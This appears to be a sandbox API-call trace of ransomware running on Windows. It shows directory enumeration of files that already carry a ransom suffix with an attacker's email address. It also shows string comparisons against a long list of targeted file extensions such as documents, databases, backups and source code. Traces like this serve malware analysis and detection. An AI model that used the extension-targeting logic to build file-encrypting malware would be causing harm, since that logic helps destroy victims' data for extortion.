	[0205.346] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x836b000b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x4831, cFileName="netfx_Core_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~2.HTM")) returned 1
	[0205.346] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x821ad5df, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x821ad5df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d4cc65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x4831, cFileName="netfx_Core_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~3.HTM")) returned 1
	[0205.346] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x8699bbc0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x4831, cFileName="netfx_Extended.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~4.HTM")) returned 1
	[0205.346] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8325dcb3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8325dcb3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83473d77, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x4831, cFileName="netfx_Extended_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NE10CD~1.HTM")) returned 1
	[0205.346] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x838d7db4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x838d7db4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83924334, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x4831, cFileName="netfx_Extended_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NEC3EF~1.HTM")) returned 1
	[0205.346] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x822922be, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x822922be, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822b8545, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x4831, cFileName="ParameterInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0205.347] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bd2da1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bd2da1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bd2da1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x4831, cFileName="RGB9RAST_x64.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~1.HTM")) returned 1
	[0205.347] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bf90a1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83bf90a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83bf90a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x4831, cFileName="RGB9Rast_x86.msi.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RGB9RA~2.HTM")) returned 1
	[0205.347] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e0efb8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e0efb8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83e351af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Setup.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~1.HTM")) returned 1
	[0205.347] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e351af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83e351af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842877c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x4831, cFileName="SetupEngine.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~2.HTM")) returned 1
	[0205.347] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84109fa1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84109fa1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413026c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x4831, cFileName="SetupUi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~2.HTM")) returned 1
	[0205.347] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828881e3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828881e3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828881e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x4831, cFileName="SetupUi.xsd.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~1.HTM")) returned 1
	[0205.347] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8415864b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8415864b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847be9fb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x4831, cFileName="SetupUtility.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPU~3.HTM")) returned 1
	[0205.348] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828ae3bc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828ae3bc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828ae3bc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x4831, cFileName="SplashScreen.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SPLASH~1.HTM")) returned 1
	[0205.348] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x847e4b7f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x847e4b7f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x847e4b7f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x4831, cFileName="sqmapi.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SQMAPI~1.HTM")) returned 1
	[0205.348] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828fa8c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x828fa8c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82920b18, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Strings.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STRING~1.HTM")) returned 1
	[0205.348] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82920b18, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82920b18, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82d007cf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x4831, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0205.348] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x829b9437, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x829b9437, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x829b9437, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x4831, cFileName="watermark.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WATERM~1.HTM")) returned 1
	[0205.348] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~1.HTM")) returned 1
	[0205.348] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x85d59f04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~2.HTM")) returned 1
	[0205.349] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x86ea976b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~3.HTM")) returned 1
	[0205.349] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 1
	[0205.349] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x86e8a7c7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~4.HTM")) returned 0
	[0205.349] FindClose (in: hFindFile=0x652998 | out: hFindFile=0x652998) returned 1
	[0205.349] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3da1068 | out: hHeap=0x560000) returned 1
	[0205.350] FindNextFileW (in: hFindFile=0x57a440, lpFindFileData=0x33ffcf8 | out: lpFindFileData=0x33ffcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0205.350] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3da1068
	[0205.351] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName=".", cAlternateFileName="")) returned 0x652558
	[0205.352] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="..", cAlternateFileName="")) returned 1
	[0205.352] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x4831, cFileName="BCD", cAlternateFileName="")) returned 1
	[0205.352] lstrlenW (lpString="BCD") returned 3
	[0205.352] lstrlenW (lpString=".1cd") returned 4
	[0205.352] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".3ds") returned 4
	[0205.352] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".3fr") returned 4
	[0205.352] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".3g2") returned 4
	[0205.352] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".3gp") returned 4
	[0205.352] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".7z") returned 3
	[0205.352] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0205.352] lstrlenW (lpString=".accda") returned 6
	[0205.352] lstrcmpiW (lpString1=".accda", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".accdb") returned 6
	[0205.352] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".accdc") returned 6
	[0205.352] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1
	[0205.352] lstrlenW (lpString=".accde") returned 6
	[0205.353] lstrcmpiW (lpString1=".accde", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".accdt") returned 6
	[0205.353] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".accdw") returned 6
	[0205.353] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".adb") returned 4
	[0205.353] lstrcmpiW (lpString1=".adb", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".adp") returned 4
	[0205.353] lstrcmpiW (lpString1=".adp", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".ai") returned 3
	[0205.353] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1
	[0205.353] lstrlenW (lpString=".ai3") returned 4
	[0205.353] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".ai4") returned 4
	[0205.353] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".ai5") returned 4
	[0205.353] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".ai6") returned 4
	[0205.353] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".ai7") returned 4
	[0205.353] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".ai8") returned 4
	[0205.353] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".anim") returned 5
	[0205.353] lstrcmpiW (lpString1=".anim", lpString2="䠱") returned -1
	[0205.353] lstrlenW (lpString=".arw") returned 4
	[0205.353] lstrcmpiW (lpString1=".arw", lpString2="") returned 1
	[0205.353] lstrlenW (lpString=".as") returned 3
	[0205.353] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1
	[0205.353] lstrlenW (lpString=".asa") returned 4
	[0205.353] lstrcmpiW (lpString1=".asa", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".asc") returned 4
	[0205.354] lstrcmpiW (lpString1=".asc", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".ascx") returned 5
	[0205.354] lstrcmpiW (lpString1=".ascx", lpString2="䠱") returned -1
	[0205.354] lstrlenW (lpString=".asm") returned 4
	[0205.354] lstrcmpiW (lpString1=".asm", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".asmx") returned 5
	[0205.354] lstrcmpiW (lpString1=".asmx", lpString2="䠱") returned -1
	[0205.354] lstrlenW (lpString=".asp") returned 4
	[0205.354] lstrcmpiW (lpString1=".asp", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".aspx") returned 5
	[0205.354] lstrcmpiW (lpString1=".aspx", lpString2="䠱") returned -1
	[0205.354] lstrlenW (lpString=".asr") returned 4
	[0205.354] lstrcmpiW (lpString1=".asr", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".asx") returned 4
	[0205.354] lstrcmpiW (lpString1=".asx", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".avi") returned 4
	[0205.354] lstrcmpiW (lpString1=".avi", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".avs") returned 4
	[0205.354] lstrcmpiW (lpString1=".avs", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".backup") returned 7
	[0205.354] lstrcmpiW (lpString1=".backup", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".bak") returned 4
	[0205.354] lstrcmpiW (lpString1=".bak", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".bay") returned 4
	[0205.354] lstrcmpiW (lpString1=".bay", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".bd") returned 3
	[0205.354] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1
	[0205.354] lstrlenW (lpString=".bin") returned 4
	[0205.354] lstrcmpiW (lpString1=".bin", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".bmp") returned 4
	[0205.354] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".bz2") returned 4
	[0205.354] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1
	[0205.354] lstrlenW (lpString=".c") returned 2
	[0205.354] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1
	[0205.355] lstrlenW (lpString=".cdr") returned 4
	[0205.355] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cer") returned 4
	[0205.355] lstrcmpiW (lpString1=".cer", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cf") returned 3
	[0205.355] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1
	[0205.355] lstrlenW (lpString=".cfc") returned 4
	[0205.355] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cfm") returned 4
	[0205.355] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cfml") returned 5
	[0205.355] lstrcmpiW (lpString1=".cfml", lpString2="䠱") returned -1
	[0205.355] lstrlenW (lpString=".cfu") returned 4
	[0205.355] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".chm") returned 4
	[0205.355] lstrcmpiW (lpString1=".chm", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cin") returned 4
	[0205.355] lstrcmpiW (lpString1=".cin", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".class") returned 6
	[0205.355] lstrcmpiW (lpString1=".class", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".clx") returned 4
	[0205.355] lstrcmpiW (lpString1=".clx", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".config") returned 7
	[0205.355] lstrcmpiW (lpString1=".config", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cpp") returned 4
	[0205.355] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cr2") returned 4
	[0205.355] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".crt") returned 4
	[0205.355] lstrcmpiW (lpString1=".crt", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".crw") returned 4
	[0205.355] lstrcmpiW (lpString1=".crw", lpString2="") returned 1
	[0205.355] lstrlenW (lpString=".cs") returned 3
	[0205.355] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1
	[0205.355] lstrlenW (lpString=".css") returned 4
	[0205.356] lstrcmpiW (lpString1=".css", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".csv") returned 4
	[0205.356] lstrcmpiW (lpString1=".csv", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".cub") returned 4
	[0205.356] lstrcmpiW (lpString1=".cub", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dae") returned 4
	[0205.356] lstrcmpiW (lpString1=".dae", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dat") returned 4
	[0205.356] lstrcmpiW (lpString1=".dat", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".db") returned 3
	[0205.356] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1
	[0205.356] lstrlenW (lpString=".dbf") returned 4
	[0205.356] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dbx") returned 4
	[0205.356] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dc3") returned 4
	[0205.356] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dcm") returned 4
	[0205.356] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dcr") returned 4
	[0205.356] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".der") returned 4
	[0205.356] lstrcmpiW (lpString1=".der", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dib") returned 4
	[0205.356] lstrcmpiW (lpString1=".dib", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dic") returned 4
	[0205.356] lstrcmpiW (lpString1=".dic", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".dif") returned 4
	[0205.356] lstrcmpiW (lpString1=".dif", lpString2="") returned 1
	[0205.356] lstrlenW (lpString=".divx") returned 5
	[0205.356] lstrcmpiW (lpString1=".divx", lpString2="䠱") returned -1
	[0205.356] lstrlenW (lpString=".djvu") returned 5
	[0205.356] lstrcmpiW (lpString1=".djvu", lpString2="䠱") returned -1
	[0205.356] lstrlenW (lpString=".dng") returned 4
	[0205.356] lstrcmpiW (lpString1=".dng", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".doc") returned 4
	[0205.357] lstrcmpiW (lpString1=".doc", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".docm") returned 5
	[0205.357] lstrcmpiW (lpString1=".docm", lpString2="䠱") returned -1
	[0205.357] lstrlenW (lpString=".docx") returned 5
	[0205.357] lstrcmpiW (lpString1=".docx", lpString2="䠱") returned -1
	[0205.357] lstrlenW (lpString=".dot") returned 4
	[0205.357] lstrcmpiW (lpString1=".dot", lpString2="") returned 1
	[0205.357] lstrlenW (lpString=".dotm") returned 5
	[0205.357] lstrcmpiW (lpString1=".dotm", lpString2="䠱") returned -1
	[0205.357] lstrlenW (lpString=".dotx") returned 5
	[0205.357] lstrcmpiW (lpString1=".dotx", lpString2="䠱") returned -1
	[0205.357] lstrlenW (lpString=".dpx") returned 4
